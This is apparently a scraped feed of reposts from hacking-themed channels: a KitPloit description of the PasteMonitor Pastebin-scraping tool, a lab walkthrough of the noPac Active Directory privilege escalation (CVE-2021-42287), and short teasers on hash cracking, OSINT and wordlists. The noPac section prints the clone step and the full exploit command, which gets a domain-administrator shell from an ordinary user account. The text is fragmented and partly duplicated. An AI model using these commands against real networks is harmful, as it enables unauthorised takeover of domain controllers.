Average number of pastes per day: 1000-3000 (filetype: .txt)Send automatic email alertYou can setup a wordlist and be alerted by email when you have a match

___________________________
@hacking_Attack
@Hacking_Video

If your paste is no longer online, you can find it on your computer/server via the ID of your paste (here ID is "WJq2YxPg")

___________________________
@hacking_Attack
@Hacking_Video

Before startBefore starting the tool, make sure to:Get a Pastebin PRO (https://pastebin.com/pro) accountEnter the IP address of your machine in the "Your Account & Whitelisted IP (https://pastebin.com/doc_scraping_api)" sectionActivate a mail (https://www.kitploit.com/search/label/Mail) account that can authorize a third party application (here we use a Gmail account (https://www.google.com/intl/fr/gmail/about/))Enable 2-step verification (https://myaccount.google.com/u/2/signinoptions/two-step-verification)Generate app password (https://myaccount.google.com/u/2/apppasswords) (for more help, see this tutorial (https://ljmocic.medium.com/send-an-email-using-python-and-gmail-4ebc980eae9b))Then, add to the code "pastemonitor.py":Email credentials (https://www.kitploit.com/search/label/Credentials) ("email", "password")Email alert recipient ("receiver")WordlistIn the "wordlist.txt" file, add your keywords line by line.Prerequisitepip3 install -r requirements.txtUsagepython3 pastemonitor.pyPastebin.com usageVisit the official Pastebin webpage Scraping API (https://pastebin.com/doc_scraping_api).ContributingFeel free to clone this project. For major changes, please open an issue first to discuss what you would like to change.LicenseMIT (https://choosealicense.com/licenses/mit/)

Download PasteMonitor (https://github.com/pixelbubble/PasteMonitor)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Active Directory Privilege Escalation (CVE-2021–42278)

This post discusses about how CVE-2021-42287 allows potential attackers to gain high privileged user access (domain controllers Administrator level access) via a low privileged user (any normal Domain user) Description:Active Directory Domain Services Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-42278, CVE-2021-42282, CVE-2021-42291.Release Date:Nov 9, 2021Impact:Elevation of PrivilegeSeverity:ImportantCVSS score:8.8Pentest Lab setupIn the lab, we'll use a Kali VM as the attacker machine and a Windows domain controller (affected Windows platforms are listed above in the article) that hasn't been patched since November 9, 2021, as the victim/target machine.net user sakshihttps://blogger.googleusercontent.com/img/a/AVvXsEjimJpxnvI0YnvCZvfez16f-y3jqhrFe_fEfNn3MoLodMxxYdsU119qQjwF-ibUB0Epq4mL6EjoE2_3819nG26bAxTK2lha2N8gXL8iL56VVTsbEzzjB_zyIV6ATLLsJsrbEnsljEq3-GPmvjwz5v9zdN0t63LFo1OwfG1hdaSZksYKqjD5DILbM6d7ug=s16000 ExploitNow on your attacker system, which is Kali VM, you have to clone the exploit from the git repository provided below.git clone https://github.com/Ridter/noPac After cloning the repo https://github.com/Ridter/noPac, navigate to the noPac foldercd noPachttps://blogger.googleusercontent.com/img/a/AVvXsEgWBhW8jZIbBB_rHqPUzSNMphKReY58NktDe5W8Wfj-HdTmJNpuqWonnTDWomDMhttz6SsQmvbj_BI4TOgseYCt8-50EpJR_Hys0oaaosTiCL8PTDyJxVOuDBATjKwdvrvDdfuD12Yp7qHQDYAiXLfJ9AGnuYgEJ5v9HmQ8TiEagTBSTrWYpziH8m7owQ=s16000 And then execute the command python3 noPac.py ignite.local/sakshi:'Password@1' -dc-ip 192.168.1.182 -shell --impersonate administrator -use-ldapThis CVE is a security bypass vulnerability that is caused by Kerberos’s PAC confusion and impersonation of domain controllers. altSecurityIdentitiesattribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain]to impersonate that user.MitigationKB5008602 - https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7___________________________
@hacking_Attack
@Hacking_Video

s-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041References:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42287Author details:Amit Kishor is having 10 plus years of Network Security experience with expertise on multiple Firewall products as well as SaaS products. ___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
P1 Vulnerability: How I chained Logical-Error to Account-Takeover Vulnerability ‍that No-One…

https://cdn-images-1.medium.com/max/1049/1*EhybBstNEFrouZE1-LN_tA.png
* Introduction *

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Free Online Hash Cracking Websites

https://cdn-images-1.medium.com/max/726/0*Gqi1kAwO_4Crnx1k.png
Cracking password hashes on your own without the proper hardware can become time-consuming and tedious. Luckily for those capped by their…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Vulnversity Try Hack Me

https://cdn-images-1.medium.com/max/700/0*HgKo5azjAMD6iN9B.png
Here is my first writeup which is about exploit Vulnversity machine in THM, this machine cover certain area recon, web application, and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Francia multa a Google y Facebook con 210 millones de euros por cookies de seguimiento que violan…

https://cdn-images-1.medium.com/max/1524/0*IAsJhMW157-CITiL
PUBLICADO EN 10 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
PasteMonitor - Scrape Pastebin API To Collect Daily Pastes, Setup A Wordlist And Be Alerted By Email When You Have A Match

https://blogger.googleusercontent.com/img/a/AVvXsEj0oEbH8eFzVZJO8Wn9YRrVwzw59O8IK49MrTl10XDfYqacJocevZmNNsg4rA1KMn4aXRorIcBL57in_82njYztxLN9c4-RmpnvC_Px1lkdsfp-Lr8x0T9g-d8_uZwCJhqmO45zm1qx-bWZf-Z_M0mCU5VF78uCiyZrF_OzilSo28RPf25Kk10H8C5B=w640-h84 Scrape Pastebin API to collect daily pastes, setup a wordlist and be alerted by email when you have a match. DescriptionThe PasteMonitor tool allows you to perform two main actions (for educational purposes only):

* Download daily new public pasteshttps://blogger.googleusercontent.com/img/a/AVvXsEg2YEeqFK9X8LEWA4sBql9jxuEaJ5k24vBSnV9r4z6mJynxUhdZmA1iKdC06lXQF9naq0FD-nvHb6IsBReFQDixvZscWJms2rJf0dfbAwevHcYdWeWOMOeFX2bczIkVOIwFrGSNuIMPd3r1NSFfbNNvw3043I1Y-ObfP8yAfdQzs33_iyhcZK0LZgUJ=w640-h176 Average number of pastes per day: 1000-3000 (filetype: .txt)

* Send automatic email alertYou can setup a wordlist and be alerted by email when you have a match https://blogger.googleusercontent.com/img/a/AVvXsEiofc59YOojB9khYIsRKxW0OHT6C48QSAJFhBemnKkLfygiJtIdj4PAgNCi1IoF0DsOFuLsv_nFYrxgD7-JbHNuF5i05gmUL-v2nBEJEnPVb0ZGu02C-VT5T5YLMu3lyasPAHKvUKEopViVE9C0gDh9veW4hcN4tLRkUlxY-VE8VS0UgSNJaMCaB10r=w640-h112 If your paste is no longer online, you can find it on your computer/server via the ID of your paste (here ID is "WJq2YxPg") https://blogger.googleusercontent.com/img/a/AVvXsEj0oEbH8eFzVZJO8Wn9YRrVwzw59O8IK49MrTl10XDfYqacJocevZmNNsg4rA1KMn4aXRorIcBL57in_82njYztxLN9c4-RmpnvC_Px1lkdsfp-Lr8x0T9g-d8_uZwCJhqmO45zm1qx-bWZf-Z_M0mCU5VF78uCiyZrF_OzilSo28RPf25Kk10H8C5B=w640-h84 Before startBefore starting the tool, make sure to:

* Get a Pastebin PRO account
* Enter the IP address of your machine in the "Your Account & Whitelisted IP" section
* Activate a mail account that can authorize a third party application (here we use a Gmail account)
* Enable 2-step verification
* Generate app password (for more help, see this tutorial)

Then, add to the code "pastemonitor.py":

* Email credentials ("email", "password")
* Email alert recipient ("receiver") WordlistIn the "wordlist.txt" file, add your keywords line by line. Prerequisitepip3 install -r requirements.txtUsagepython3 pastemonitor.pyPastebin.com usageVisit the official Pastebin webpage Scraping API. ContributingFeel free to clone this project. For major changes, please open an issue first to discuss what you would like to change. LicenseMIT Download PasteMonitor

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
This CTF-Style Challenge Teaches How to Deep Dive into Gmail OSINT Techniques

https://external-preview.redd.it/hiieJUHsdWl9Lf73l1cSoUCeK4HxyxtcJhvWCOivBJI.jpg?width=640&crop=smart&auto=webp&s=b1b8522bd50d955b775da09d872da48f8c584bc7 submitted by /u/Rebel_Ye11
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is rockyou still relevant?

I haven't had too many opportunities to test it, but the few times I've used rockyou with airmon/hashcat wifi cracking (controlled setting where I was being observed by the other party) ...it doesn't seem to match up very often. I'm wondering if rockyou is still important to have and use, or if other wordlists or methods are preferred.

I appreciate your input!

submitted by /u/5kidmark2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video